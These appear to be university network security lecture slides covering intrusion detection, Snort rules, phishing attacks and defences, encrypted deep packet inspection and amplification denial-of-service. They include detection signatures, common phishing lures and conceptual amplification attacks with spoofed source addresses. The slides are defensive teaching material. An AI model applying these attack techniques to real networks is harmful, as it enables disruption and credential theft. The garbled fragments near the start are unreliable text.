cannot benefit from encryption. Some improvements have been made to the TCP protocol
to make the attacks difficult, including randomizing the source port number, randomizing the
sequence number, and adoption of the SYN cookies mechanism. However, to completely solve
the security problems faced by TCP without changing the protocol is hard.
An important lesson learned from this chapter is that when designing a network protocol,
security needs to be built in to mitigate potential attacks; otherwise, the protocol will likely
find itself being attacked. TCP shows us an example of such a design, but there are many other
network protocols that have the same problems because of the lack of security consideration.
� Hands-on Lab Exercise
We have developed a SEED lab for this chapter. The lab is called TCP Attack lab, and it is
hosted on the SEED website: https://seedsecuritylabs.org.
� Problems and Resources
The homework problems, slides, and source code for this chapter can be downloaded from the
book’s website: https://www.handsonsecurity.net/.
S
am
pl
e
nging the
pter is that when ds that whe
ntial attacks; otherwisattacks; oth
xample of such a desige of such a d
ms because of the lacms because of th
e
this chapter. The labchapter. The
s://seedsecurit/seed
urceses
es, and source code ford source cod
ww.handsonsecurhandsons
C
ha
pt
er
ed on the attacker’n the
nection is established,is establis
er. eteteed …pt
ation channel for applichannel for a
een themselves. The Temselves. T
protect the connectionthe connec
tions are subject to mas are subjec
TCP SYN flooding attTCP SYN floodin
o are Denial-of-Servicare Denial-o
data into an existingdata into an exis
ated using encryption, ted using encrypt
ents have been madets have been m
he source port nume source port
m. Howev
Dr. Shangqi Lai
FIT3031/FIT5037: Network Security
Intrusion Detection and Response
Faculty of Information Technology, Monash University
L09: Outline and Learning Outcomes
Intrusion Detection
• Background and Concept
• Intrusion Detection Systems (IDS)
• Detection Model
• System Architecture
• Real-world Tools
• Incident Response
Recap: Firewall
User ServerFirewall
Attacker AttackerIllegal connections
are blocked
Recap: Firewall
User ServerFirewall
Attacker Attacker
Examples
• You can access Facebook on campus but not game platforms (e.g., Steam)
• You can use ssh to connect to a Monash server when using the university
network but cannot connect from your home network
Why Firewall Falls?
Illegal connection is not the only way to attack
ServerFirewallAttacker
I can play tricks with
a legal connection T_TI am OK with this
Examples
• Attacker uses the brute-force attack to guess users’ password
• All connections in denial-of-Service attacks are legal and accepted by the server
Intrusions in Real World
Attack on financial system
Visa card vulnerabilities enable limit bypass
• Date: 2019
• Impact: Attacker can steal unlimited amount from the contactless visa
payment system
Service Disruption
DDoS attacks on GitHub
• Date: 2018
• Impact: GitHub service was drastically disrupted and went offline for 5 mins
Intrusions in Real World
Data breaches
Marriott International
• Date: 2014-18 (passport number, travel info. even card no.)
• Impact: 500 million customers
eBay
• Date: May 2014 (name, address, birth and encrypted passwords)
• Impact: 145 million users compromised
Uber
• Date: Late 2016 (names, email addresses, and mobile phone numbers)
• Impact: Personal information of 57 million Uber users and 600,000 drivers exposed
Intruders
Masquerade
• Outsider in general
• Unauthorised user
who penetrates a
system to exploit
other’s account;
Misfeasor
• Insider in general
• Legitimate user
who misuses
privileges
Clandestine
• Can be both
• An individual who
seizes supervisory
control to evades
auditing and access
control
Intruders can be classified in three broad categories:
Intrusion Detection
Denning’s Model
Basic hypothesis: Exploitation of a system’s vulnerabilities involves abnormal use
of the system such as:
• Deviations from normal system users in usage
• Activities that violates the security policy
No prior knowledge about the vulnerabilities is required
N.B. Abnormal use of the system may not be an exploitation
Intrusion Detection
Example: Rootkit
Malicious usage:
• Subvert the login mechanism to allow unauthorised access on system
• Clean log to conceal other malware
Normal usage:
• Prevent cheating in online games
• Anti-theft protection
(source: https://en.wikipedia.org/wiki/Rootkit)
Intrusion Detection System
Design Goals
1. Detect wide variety of intrusions
• Cover known and unknown attacks
• Adapt to new attacks or changes in behaviour
2. Detect intrusions in real-time
• Analyse user activities efficiently
• Report suspicious cases timely
3. Ensure accuracy
• Minimise false positives and false negatives
IDS Models
• Signature-based
• Unusual behaviours are known
• Raise alarm when activities match the signature
• Anomaly-based
• Usual behaviours are known
• Raise alarm when activities deviate from the usual behaviour
• Heuristic-based
• Use a machine learning model of normal behaviour
• Raise alarm when activities are identified as abnormal by the model
Signature-based IDS
Signature is a string or pattern that corresponds to known threat match signatures of
observed activities to identify malicious activities.
Advantage: This is very effective and efficient at detecting known threats
Disadvantage:
• It is ineffective at detecting unknown threats and many variants on known threats
• It cannot track and understand the state of complex communications, so it cannot
detect most attacks that consist of multiple events
Signature-based IDS
Example: Rule-based IDS
• “– AND password” can be used to detect the SQL injection attempts
• Network traffic targeting telnet port (port 23) and with root in the packet payload
may breach the access policy of a company
Intrusion
Patterns:
Sequences of
system calls,
patterns of
network
traffic, etc.
activities
pattern
matching
intrusion
Anomaly-based IDS
Anomaly-based IDS maintains a “norm” of normal user’s behaviour (a model) and
compares the observed activities against the expected normal behaviour to find
malicious activities
Advantage: This can detect unknown attack (because of the Denning’s assumption)
Disadvantage:
• It requires more time and processing capacity than signature-based IDS
• It may generate false positives (A normal activity is recognised as malicious) and
false negative (A malicious activity is recognised as normal)
Anomaly-based IDS
Threshold Anomaly Detection
• If the number of an activity detected is between m to n times within a period, it is
a normal activity
• If the number falls outside the above range, it is anomalous
Examples
• Detect more than k (e.g., 10) failed login attempts (possible password attack)
• Detect more than k connections into the server within 1s (possible DoS attack)
Anomaly-based IDS
Limitations of Threshold Anomaly Detection
The threshold is difficult to decide because there are many real-world factors
• Mistyping is common for novice
• Network traffic varied in different times in one day
Ineffective against complex attacks
• An attack can consists many different types of activities (many threshold to meet
at the same time)
Anomaly-based IDS
Statistical Anomaly Detection
• Use statistical information to characterise past behaviour of normal users
• Resource use, counter
• Compute various statistical results based on the above metrics
• Mean, standard deviation
• If a new activity falls outside a confidence interval from the normal user’s statistical
results, it is an anomaly
Overlap in observed
or expected behavior
intruder behavior Profile of authorized user behaviorProfileof
Anomaly-based IDS
Example: Markov Model
• Use the past activities to predict the current activities is abnormal or not
• IDS observes a sequence of activities abcdedabceabcdac, then it can derives the rule
R1: ab→c (1.0) R2: a→b (0.66) R3: a→c (0.33) R5: c→d (0.66)
R6: c→e (0.33) R7: d→e (0.33) R8: d→e (0.66) …
• Receive abd will trigger alarm because normal pattern is abc
• The above rules will be updated, if there are more abd later, abd can be considered
as normal
Anomaly-based IDS
Limitations of Statistical Anomaly Detection
It is difficult to ensure the accuracy of the model:
• The dataset should be a cleaned one (no anomaly data)
• It requires massive training data
• Training data should cover all possible normal use of the system
A Comparison
Signature-based Detection Anomaly-based Detection
Accurate detection on known attacks, but
ineffective with unknown attack
Effective to detect new vulnerabilities
Efficient and effective Less efficient
Less false positive More false positive
Hard to keep signature updates Can use new user profile to update
Heuristic-based IDS
Why machine learning?
• A simple mathematical model (e.g., normal distribution) can capture some features
when a normal user’s behaviour is simple
• But real-world systems have complex behaviour that does not follow the model
• Machine learning can reveal the hidden pattern on those complicated data
• Also, it is adaptive to the change of users’ behaviours
Heuristic-based IDS
Example: Kitsune
1. Packet Capturer acquires a new packet and passes the raw binary to the Packer Parser.
2. The Packet Parser receives the raw binary, parses the packet and sends the metadata of the packet to the
Feature Extractor. For example, the packet’s arrival time, size, and addresses.
3. The FE receives this information and uses it to retrieve over 100 statistics which are used to implicitly
describe the current state of the channel from which the packet came.
Heuristic-based IDS
Example: Kitsune
4. FM
• Training Mode: Learn a feature map. The map groups features into sets with a maximum size of m
for each
• Execution mode: The learned mapping is used to create a collection of small instances which is
then passed to the respective autoencoders in the ensemble layer of the AD
Heuristic-based IDS
Example: Kitsune
4. AD
• The RMSE (Root-Mean Square Error) of the forward-propagation is then used to train the output
layer. The largest RMSE of the output layer is stored for later use
• Execution mode: Examine input across all layers. If the RMSE of the output layer exceeds the
stored one, an alert is logged with packet details
(source: Mirsky, Yisroel, et al. “Kitsune: an ensemble of autoencoders for online network intrusion detection.” arXiv preprint arXiv:1802.09089 (2018).)
Heuristic-based IDS
Limitation of Machine Learning
• Lack of training data since it is hard to collect enough data for all normal user’s
behaviours
• Model can be poisoned by adversarial input
• Still have many false positives
• Our understanding on machine learning model is still limited
IDS Architecture
• Auditor
• Record all security relevant activities for analysis
• Analyser
• Automatically analyse the data from auditor
• Update auditor and analyser settings when needed
• Notifier
• Report detected anomaly
• Update auditor and analyser settings when needed
• Initiate countermeasures
IDS Architecture
Auditor
System Activity
Audit Records
Detection
Models
Analyser
Alarms
Decision
Table
Notifier
Action/Report
Auditor
• Obtains system activity information and sends to analyser
• May convert information into another form
• Pre-processing the data to extract relevant parts
• May delete unneeded activity
Examples of collected information
• System calls list
• Failed authentication attempts
• Connection establishment and release
Auditor
Type of Auditor
• Native audit records (Default types)
• part of all common multi-user OS already present for use
• may not have info required in desired form
• needs further processing before applying to the detection system
• Detection-specific audit records (Special IDS types)
• created specifically to collect required info
• at cost of additional overhead on system
Analyser
• Follow the intrusion detection model to determine if the system is under attack
• Can run on a separate device (separate from the auditor)
• Protect the intrusion detection model
• Ensure the performance of the auditor
• Can have multiple analysers at the same time
• Each analyser can have different model and target different behaviour
Examples
• System administrator can user a signature-based analyser to detect known attacks
in real-time and an anomaly-based analyser to track suspicious activities
Analyser
Type of Analyser
• Non-adaptive Analyser
• Use a static model built before starting analyser
• Example: Signature-based model
• Adaptive Analyser
• Modify the model/ruleset to adapt to the change in system
• Example: Anomaly-based model, Heuristic-based model
Notifier
• Accept result from the analyser
• Take appropriate actions
• Raise alarm
• Response to the attack
• Present readable analysis result
• Allow analyst to examine suspected attack
• Well-designed interface to convey information
Type of IDS
Host-based IDS (HIDS)
• Deploy in local system to detect malicious activities on a single device
• It can be used as a distributed system in the network
Server
Auditor
Internet
IDS Manager
Analyser
Type of IDS
Host-based IDS (HIDS)
Advantages:
• Low cost since most of the HIDS is software-based
• Can see low-level activities (e.g., system call, privilege requests) on local device
• Low error rate for local threats because it can access more log information
Disadvantages:
• Limited view on the network
• Malicious insider can tamper the system (e.g., Clandestine intruder)
Type of IDS
Network-based IDS (NIDS)
• Monitor the traffic on the entire network to detect intrusions
Advantages:
• Can see attacks in network traffic, especially in Transport layer or IP layer
• Hard to tamper
Disadvantages:
• Difficult to check the encrypted traffic
• Dedicated hardware may be needed
Real-world IDS Tools
Commercial products:
• IDS/NetRanger (Cisco Systems) devices
• Netprowler/Intruder Alert (Symantec) suitable for all OS
• RealSecure (Internet Security Systems)
• Computer misuse detection system (CMDS) (SAIC)
• eTrust Intrusion Detection (CA) web and email
Public Domain:
• Snort
• Shadow
• Network Flight Record
Real-world IDS Tools
Snort
• Open-source system
• Portable for multi-platform
• Customise ruleset
Real-world IDS Tools
Snort Rule:
Snort Example:
• Alert any telnet connection to 172.16.0.142
alert tcp any any -> 172.16.0.142 23 (msg: “Telnet Login”; sid:1)
• Log any telnet communication to/from 192.168.1.0/24 subnet
log tcp any any <> 192.168.1.0/24 23 (session: printable)
• Log SYN packet to 192.168.0.1
log tcp any any -> 192.168.0.1 any (flags: S; msg: “SYN packet”)
Incidence Response
Goal
• Minimise the damage
• Thwart intrusion
• Attempt to repair damages
Phase
• Intrusion prevention
• Intrusion handling
Incidence Response
Intrusion Prevention
• The ideal way to handle an intrusion is to stop it before it completes
Examples
• Move the intruder to an isolated environment
• Provide misleading information
• Imitate a slow system to thwart the attack
Real-world IPS Tools
Several tools are designed for intrusion prevention purpose:
• Snort
• Honeypot (https://www.projecthoneypot.org/index.php)
• Create a fake system to attract intruders
• Try to learn their goal and strategy without harming the security of the real
networked system
• SAGAN (https://quadrantsec.com/sagan_log_analysis_engine/)
https://www.projecthoneypot.org/index.php
Incidence Response
Intrusion Handling
• If the intrusion is done, it is more important to to minimise the damage and
restore the system
Steps
• Containment of attack
• Eradication of attack
• Recovery from attack
• Follow-up to attack
Containment of Attack
The basic idea is to apply constraints to the attacker’s behaviours
• Use deception tools like Honeypot
• Attacker will waste many time to attack a fake system while the analyst can
collect the information and learn the goal and strategy of the attacker
• Change the system parameter to thwart the attacker
• Attacker may take a longer time to access what he/she wants
• Or he/she will be disconnected from the target frequently
Eradication of Attack
Try to terminate the attack by denying/removing the malicious network connection
or stopping the malicious process
• System administrator can try to re-configure the firewall to stop the malicious
connection
• Reset iptables to drop the packet from specific source or with specific protocol
• Add wrappers to implement access control on system call
• To invoke a system call, the process should call the wrapper function
• The wrapper function has an access control mechanism which can terminate
the call if the call is from a malicious process
Recovery from Attack and Follow-Up
Try to return to normal operation and consider lesson learned from the attack
• Handle the vulnerabilities revealed in the attack
• Recover the compromised system and restore user’s data
• Evaluate and update the security policy
• Start legal procedures
• Keep the evidence of the attack collecting in previous steps
Final Notes
The response process may harm innocent party
• Attacker may try to impersonate an innocent user to raise the attack
• The above countermeasures may affect normal users if the analysts do not have
enough information about the attacker
• This may breach the law in some extent, normal users can take legal actions
against the intrusion response process
The intrusion response requires careful thought and planning
Dr. Tingmin (Tina) Wu
FIT3031/FIT5037: Network Security
Guest Lecture: Advanced Phishing
Attacks and Defence Mechanisms
Faculty of Information Technology, Monash University
Outline
• Background of Phishing
• Common Phishing Attacks
• Typical Defences against Phishing
• Latest Phishing Trends
Background
What is phishing?
Phishing is a crime employing both social engineering and technical subterfuge to
steal consumers’ personal identity data and financial account credentials [1].
[1] APWG Phishing Activity Trends Report: https://docs.apwg.org/reports/apwg_trends_report_q2_2021.pdf
[2] PurpleSec blog, https://purplesec.us/phishing-whaling-differences/
Email phishing [2]
https://docs.apwg.org/reports/apwg_trends_report_q2_2021.pdf
How does Phishing Work?
The classic phishing attack [3]
[3] Oest, Adam, et al. “Inside a phisher’s mind: Understanding the anti-phishing ecosystem through phishing kit analysis.” 2018 APWG Symposium on Electronic Crime
Research (eCrime). IEEE, 2018.
0. Website spoofing (phishing link creation).
1. Phishers distribute phishing emails to lure
victims to click on the link.
2. Victims hand over their sensitive information
to the fake website, e.g., personal/financial
information.
3. Sensitive information back to phishers.
4a+5a: Monetary gain of phishers.
4b+5b: Monetary gain of phishers (through
Identity Theft).
Phishing never stops
• 1996: First phishing (AOL attacks)
• A massive phishing scam tricked Google and Facebook accounting
departments into wiring money – a total of over $100 million from 2013 to 2015.
• 75% of organisations around the world experienced a phishing attack in 2020 [4]
[4] State of the Phish Report, https://www.proofpoint.com/us/resources/threat-reports/state-of-phish
[5] Google Safe Browsing, https://transparencyreport.google.com/safe-browsing/
Google Safe Browsing shows the steep increase in the number of websites deemed unsafe between January 2016 and January 2021 [5].
https://www.proofpoint.com/us/resources/threat-reports/state-of-phish
Common Phishing Attacks – Mass Phishing
One message sent to a massive amount of email addresses.
Common Phishing Attacks – Spear Phishing
Targeted phishing attacks to specific groups with well crafted messages.
Common Phishing Attacks – Whaling
• More advanced spear phishing.
• Target high-profile individuals such whose information is always exposed on
sites such as company websites and social medias.
• Also known as CEO Fraud attacks and Business Email Compromise scams
(BEC).
Two examples of BEC attacks [6]
[6] Cidon, Asaf, et al. “High precision detection of business email compromise.” 28th {USENIX} Security Symposium ({USENIX} Security 19). 2019.
Common Phishing Attacks – Pharming
• One of the most dangerous web-based phishing attacks.
• Phishers create a fake website to impersonate the legitimate one, and
exploit DNS (Domain Name System) vulnerability by converting the website
name into an IP address.
• The process will redirect the traffic from a real site to the phishing website.
Can You Detect Phishing?
Is the address correct?
Any spelling errors?
Hover the link, does the displayed URL
match the official URL?
The Most-Targeted Industry Sectors
Most-Targeted Industry Sectors – 2nd Quarter 2021 [1]
[1] APWG Phishing Activity Trends Report: https://docs.apwg.org/reports/apwg_trends_report_q2_2021.pdf
https://docs.apwg.org/reports/apwg_trends_report_q2_2021.pdf
Typical Phishing Defences
Machine Learning based approach
• Email content detection
• URL based detection
• Webpage based detection (Visual similarity)
• Hybrid detection
Typical Phishing Defence scheme
Datasets
Email header
Data collection Feature extraction/mining
Email body
URL
Web structure
Webpage
Learning
Blacklist
Heuristic-based
(Machine learning)
Rule-based Evaluation
Evaluation
Dataset
Whether
Phishing?
Real-world
Dataset
Yes
No
URL based Detection
Blacklist: A blacklist is defined as a set of elements to be blocked; an access control list.
Phishing blacklists are used to block access to URLs [7].
Advantage: High accuracy
Disadvantage: Not able to defend zero-hour attack
[7] Bell, Simon, and Peter Komisarczuk. “An analysis of phishing blacklists: Google safe browsing, openphish, and phishtank.” Proceedings of the Australasian Computer
Science Week Multiconference. 2020.
URL based Detection
Heuristic-based approaches examine contents of the Web pages including: (1) surface level
content (e.g., the URL); (2) textual content (e.g., terms or words that appear on a given Web
page); (3) visual content (e.g., the layout, and the block regions etc.) [8]
Advantage: Can detect zero-day attack
Disadvantage: High false positive rate
Blacklist + Heuristic Example: Google Safe Browsing [5]
[5] Google Safe Browsing, https://transparencyreport.google.com/safe-browsing/
[8] Dou, Zuochao, et al. “Systematization of knowledge (sok): A systematic review of software-based web phishing detection.” IEEE Communications Surveys &
Tutorials 19.4 (2017): 2797-2819.
[9] Protecting people across the web with Google Safe Browsing, https://blog.google/technology/safety-security/protecting-people-across-web-with/
Fig.2 Active warning from Google Safe Browsing [9]
https://blog.google/technology/safety-security/protecting-people-across-web-with/
Email Content based Detection
Header Analysis
• Header: a sequence of lines that
keeps the routing information
• Important headers [11]
• X-Headers:
Added by the recipient mailbox
providers to identify spam emails.
• Received:
This field shows information related
to all hops, through which the email
was transferred. The last entry
shows the initial address of the
email sender.
Example of phishing email header [10]
[10] Das, Avisha, et al. “SoK: a comprehensive reexamination of phishing research from the security perspective.” IEEE Communications Surveys & Tutorials 22.1 (2019):
671-708.
[11] Steps to Discover Hidden Threat from Phishing Email, https://www.mcafee.com/blogs/other-blogs/mcafee-labs/steps-to-discover-hidden-threat-from-phishing-email/
The Most Common Subject Lines
Top 10 general email subjects, based on an analysis of real-world phishing emails in Q4 2020
[4]
1. Password Check Required Immediately
2. Touch base on meeting next week
3. Vacation Policy Update
4. COVID-19 Remote Work Policy Update
5. Important: Dress Code Changes
6. Scheduled Server Maintenance — No Internet Access
7. De-activation of [[email]] in process
8. Please review the leave law requirements
9. You have been added to a team in Microsoft Teams
10. Company Policy Notification: COVID-19 – Test & Trace Guidelines
[4] KnowBe4 releases Q4 2020 top-clicked phishing report, https://www.knowbe4.com/press/q4-2020-knowbe4-finds-work-from-home-related-phishing-email-
attacks-on-the-rise
Email Content based Detection
Email Body Analysis
• Lexical analysis to detect common phrasing patterns or words.
Example (Cognitive Triaging of Phishing Attacks [12])
[12] Van Der Heijden, Amber, and Luca Allodi. “Cognitive triaging of phishing attacks.” 28th {USENIX} Security Symposium ({USENIX} Security 19). 2019.
Visual similarity
Similarity-based detection is based on website visual appearances. Target to
defend zero-day attacks.
• A trust list of existing attacked pages is collected
• When a user visits a page when the domain is not in the trust list, the
unknown page is compared to the trusted ones.
• If high visual similarity detected, it is identified as impersonation.
Visual similarity
Examples
Recent Deep Learning based approach VisualPhishNet [14]Classic image-to-image matching [13]
[13]. Lam, Ieng-Fat, et al. “Counteracting phishing page polymorphism: An image layout analysis approach.” International Conference on Information Security and
Assurance. Springer, Berlin, Heidelberg, 2009.
[14] Abdelnabi, Sahar, Katharina Krombholz, and Mario Fritz. “Visualphishnet: Zero-day phishing website detection by visual similarity.” Proceedings of the 2020 ACM
SIGSAC Conference on Computer and Communications Security. 2020.
Latest Phishing Trends
File-sharing attacks (A new type of brand impersonation attack)
Three examples of phishing emails with file-sharing links. Figures from [15].
[15] Threat Spotlight: Form-based attacks, https://blog.barracuda.com/2020/05/28/threat-spotlight-form-based-attacks/
File-sharing attacks
What happens after you click the link?
System to be compromised
File-sharing attacks
What happens after you click the link?
Credentials to be stolen
File-sharing attacks
What happens after you click the link?
Credentials to be stolen
File-sharing attacks
What happens after you click the link?
Credentials to be stolen
File-sharing attacks
Why the attack is hard to detect?
It leverages third-party service as legitimate intermediate to bypass email filter.
File-sharing attacks
How harmful is it?
File-sharing attacks
Our designed method
How to Protect Yourself?
• Install anti-virus tools or email filters, they can block most of the phishing attacks.
• Never give your password, bank accounts or other sensitive information through
email.
• Always hover on the link to check the destination before a click.
• Report phishing as you can. Your intelligence can help others to be protected from
the same attack timely.
Thank you!
Contact
Dr Tingmin (Tina) Wu
Tina.
Please complete a 2-min survey to share your feedback about this guest lecture
https://docs.google.com/forms/d/e/1FAIpQLScQQTbwkvsZlS52120Guk7CqDTe3MbV9XaWAr
acD4EApf34WA/viewform?usp=pp_url (Not phishing link)
mailto:Tina.
https://docs.google.com/forms/d/e/1FAIpQLScQQTbwkvsZlS52120Guk7CqDTe3MbV9XaWAracD4EApf34WA/viewform?usp=pp_url
Participants Wanted!
You will have a chance to win a $10 gift card!
An online survey on learning users’ behaviours when
checking emails (~30min)
If you are interested, please contact us or register your
interest through this link
https://docs.google.com/forms/d/e/1FAIpQLSfxT8c2XyTm270Sy3OuMSacmL0scP0
5MEe4ZNGKQWy8z15vmA/viewform?usp=pp_url (Not phishing link)
Dr Tingmin (Tina) Wu
Tina.
https://docs.google.com/forms/d/e/1FAIpQLSfxT8c2XyTm270Sy3OuMSacmL0scP05MEe4ZNGKQWy8z15vmA/viewform?usp=pp_url
mailto:Tina.
FIT3031/FIT5037 NETWORK SECURITY
Week 10
Privacy-preserving Deep Packet
Inspection over Encrypted Traffic
Dr Xingliang Yuan
Department of Software Systems and Cybersecurity
2
L10: Outline and Learning Outcomes
• Describe modern DPI systems
• Understand the reasons and needs of privacy-
preserving DPI systems
• Explain the basic design principle and
methodology of privacy-preserving DPI over
encrypted network traffic
• Analyse the limitations of the current designs
Modern Firewall: Web Application Firewall
• Attack patterns in modern web applications:
• Web application firewall mitigates these threats.
Traditional Deployment of WAF/IDS/DPI
Internet
firewalls are in-house
5
Issues of In-house Deployment
• Expensive labor cost for system maintenance
• $60-80K USD for a network engineer
• Expensive hardware, dedicated security
device
• $50K -100K USD per device
• Hardware failure, misconfiguration
Cloud-based Deployment
(Network Function Virtualisation)
In-house hardware
firewalls
Virtualisation
Reduced local cost
Increased service scalability
Pre-readings:
AWS web app. firewall https://docs.aws.amazon.com/waf/latest/developerguide/web-acl.html
CloudFlare magic firewall https://blog.cloudflare.com/introducing-magic-firewall/
https://docs.aws.amazon.com/waf/latest/developerguide/web-acl.html
https://blog.cloudflare.com/introducing-magic-firewall/
Cloud-based Deployment
Bounce model
DPI
DPI
Pass through model
5 mins Discussion: what are the new security
issues in the cloud-based deployment?
Bounce model
DPI
DPI
Pass through model
Concern on Privacy
Confidentiality of Traffic Confidentiality of Rules
• Traffic contains sensitive information of enterprise
• e.g., trading secret, IP
• Rules are also proprietary
• Threats: cloud (insider) or attacker that breaks into the cloud are
interested in rules and traffic contents
Government Surveillance
INTERNATIONAL STATEMENT: END-TO-END ENCRYPTION AND PUBLIC SAFETY, published by
UK, USA, Australia, New Zealand, India, and Japan Governments, 11 Oct 2020
“Law enforcement has a responsibility to protect citizens by investigating and prosecuting crime and
safeguarding the vulnerable. Technology companies also have responsibilities and put in place terms of
service for their users that provide them authority to act to protect the public. End-to-end encryption
that precludes lawful access to the content of communications in any circumstances directly
impacts these responsibilities, creating severe risks to public safety”
“We are committed to working with industry to develop reasonable proposals that will allow technology
companies and governments to protect the public and their privacy, defend cyber security and
human rights and support technological innovation. While this statement focuses on the challenges
posed by end-to-end encryption, that commitment applies across the range of encrypted services
available, including device encryption, custom encrypted applications and encryption across integrated
platforms.”
End-to-end encryption and public safety seem
contradictory, do you believe there is a solution that
can achieve those two goals at the same time?
11
How to design a privacy-preserving DPI system?
• First of all, understand the functionality
• Key function: string pattern matching on
packet payload
A rule that checks a suspicious string (e.g., malicious scripts, worms)
12
How to design a privacy-preserving DPI system?
• Second, can we enable this operation in the
encrypted domain?
• Aka, performing pattern matching over
encrypted traffic against encrypted rules?
A rule that checks a suspicious string (e.g., malicious scripts, worms)
Cloud DPI Scenario (Cleartext)
Gateway Cloud DPI
Traffic
I am an attacker IP
Header Payload
If payload contains “attacker”,
then alert
DPI Rule
Cloud DPI Scenario (Encrypted)
Gateway Cloud DPI
Traffic
TWFuIGlzIGRpc3RpbmdIP
Header Payload
1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyB
yZWFzb24sIG, alert
DPI Rule
3 mins discussion: How to find the pattern of
“attacker” in the encrypted domain?
Gateway Side
Gateway Cloud DPI
Traffic
I am an attacker IP
Header Payload
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker)
Cloud DPI Side
Gateway Cloud DPI
Traffic
AES(k, attacker), then alert
DPI Rule
Cloud DPI Side
Gateway Cloud DPI
Traffic
AES(k, attacker), then alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker)
Cloud DPI Side
Gateway Cloud DPI
Traffic
AES(k, attacker), then alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker)
3 mins discussion: Is this approach sound? any other issues?
More Rules Including Patterns with Different Sizes
Gateway Cloud DPI
Traffic
Rule 1: If payload contains
“attacker”, then alert
DPI Rules
Rule 2: If payload contains “tta”,
then drop the packet
I am an attacker IP
Header Payload
More Rules Including Patterns with Different Sizes
Gateway Cloud DPI
Traffic
Rule 1: AES(k, attacker), then
alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker)
Rule 2: AES(k, tta), then dropPayload contains “tta”, but Rule 2 is not matched
More Rules Including Patterns with Different Sizes
Gateway Cloud DPI
Traffic
Rule 1: AES(k, attacker), then
alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker)
Rule 2: AES(k, tta), then dropPayload contains “tt”, but Rule 2 is not matched
Q: how to enable matching
on Rule 2?
Sliding Window Based Tokenisation
Gateway Cloud DPI
Traffic
Rule 1: AES(k, attacker), then
alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker), AES (k, att),
AES (k, tta), AES (k, tac), AES (k, ack), AES (k, cke), AES (k, ker)
Rule 2: AES(k, tta), then drop
Sliding Window Based Tokenisation
Gateway Cloud DPI
Traffic
Rule 1: AES(k, attacker), then
alert
AES(k, I), AES(k, am), AES(k, an), AES(k, attacker), AES (k, att),
AES (k, tta), AES (k, tac), AES (k, ack), AES (k, cke), AES (k, ker)
Rule 2: AES(k, tta), then dropQ: Any other issues?
Side Information in Traffic
Gateway Cloud DPI
Traffic
Alice is a student from Monash, and Bob is also a
student from Monash
IP
Header Payload
Side Information in Encrypted Traffic
Gateway Cloud DPI
Traffic
AES(k, Alice), AES(k, student), AES(k, Monash), AES(k, Bob),
AES(k, student), AES(k, Monash)
Side Information in Encrypted Traffic
Gateway Cloud DPI
Traffic
AES(k, Alice), AES(k, student), AES(k, Monash), AES(k, Bob),
AES(k, student), AES(k, Monash)
• Frequencies of strings in the payload are leaked!
• Suffer from frequency analysis!
Side Information in Encrypted Traffic
Gateway Cloud DPI
Traffic
AES(k, Alice), AES(k, student), AES(k, Monash), AES(k, Bob),
AES(k, student), AES(k, Monash)
• Security requirement: Cloud DPI should only know
matches on suspicious strings
• 3 min discussion: how to hide frequencies of strings in
the payload?
Adding Salt
Gateway Cloud DPI
Traffic
AES(k, Alice||1), AES(k, student||1), AES(k, Monash||1), AES(k,
Bob||1), AES(k, student||1), AES(k, Monash||2)
Adding Salt
Gateway Cloud DPI
Traffic
AES(k, Alice||1), AES(k, student||1), AES(k, Monash||1), AES(k,
Bob||1), AES(k, student||1), AES(k, Monash||2)
Rule: If payload contains
“Monash”, then alert
DPI Rules
Q: any changes on
Rule Encryption?
Adding Salt
Gateway Cloud DPI
Traffic
AES(k, Alice||1), AES(k, student||1), AES(k, Monash||1), AES(k,
Bob||1), AES(k, student||1), AES(k, Monash||2)
Rule: AES(k, Monash||1), alert
DPI Rules
Rule: AES(k, Monash||2), alert
Adding Salt
Gateway Cloud DPI
Q: What is the
tradeoff?
AES(k, Alice||1), AES(k, student||1), AES(k, Monash||1), AES(k,
Bob||1), AES(k, student||1), AES(k, Monash||2)
Rule: AES(k, Monash||1), alert
DPI Rules
Rule: AES(k, Monash||2), alert
32
Limitations of Current Privacy-preserving DPI
Designs
• Large bandwidth cost due to sliding-window
based tokenisation
• Snort rule set: 82 distinct pattern sizes (1 byte to 214
byte)
• Token bandwidth consumption: 77x to the original
traffic size
• Limited functionality
• pattern/header matching only;
• do not support regular expression well
33
Further Reading
• Sherry, J., Hasan, S., Scott, C., Krishnamurthy, A., Ratnasamy, S., &
Sekar, V. (2012). Making Middleboxes Someone Else’s Problem:
Network Processing As a Cloud Service. In ACM SIGCOMM, 2012.
• Sherry, J., Lan, C., Popa, R. A., & Ratnasamy, S. (2015). BlindBox:
Deep Packet Inspection over Encrypted Traffic. In ACM SIGCOMM,
2015.
• Yuan, X., Wang, X., Lin, J., & Wang, C. (2016, April). Privacy-
preserving deep packet inspection in outsourced middleboxes. In
IEEE INFOCOM, 2016.
• Lai, S., Yuan, X., Sun, S., Liu, J. K., Steinfeld, R., Sakzad, A., & Liu,
D. (2021). Practical encrypted network traffic pattern matching for
secure middleboxes. IEEE Transactions on Dependable and
Secure Computing, 2021
Further Reading
FIT3031/FIT5037 NETWORK SECURITY
Week 11
Denial of Service Attack
Dr Xingliang Yuan
Faculty of IT @ Monash
2
L11: Outline and Learning Outcomes
• Understand the goal of DoS attacks
• Describe different DoS attacks on different layers
• Explain the basic countermeasures against DoS attacks
• Understand the concept and methodology of DDoS
attacks
• Case study of advanced DDoS attack: crossfire attacks
(optional)
3
Network Denial of Service
• Target on Availability (e.g., Can I reach the destination?)
• Goal: take out a large site with little computing work
• How: Amplification
• Small number of packets -> big effect
• Two types of amplification attacks:
• DoS bug: Design flaw allowing one machine to disrupt
a service
• DoS flood: Command bot-net to generate flood of
requests
4
DoS can happen at any layer
• DoS at different layers:
• Link
• TCP/UDP
• Application
• Payment
• Gaming
• …
Amplification DoS
• Send ping request to broadcast addr (ICMP Echo Req)
• Lots of responses:
• Every host on target network generates a ping reply
(ICMP Echo Reply) to victim
• Prevention: reject external packets to broadcast address
gatewayDoS
Source
DoS
Target
1 ICMP Echo Req
Src: Dos Target
Dest: brdct addr
3 ICMP Echo Reply
Dest: Dos Target
Another example
580,000 open resolvers on Internet (Kaminsky-Shiffman’06)
DNS
Server
DoS
Source
DoS
Target
DNS Query
SrcIP: Dos Target
(60 bytes)
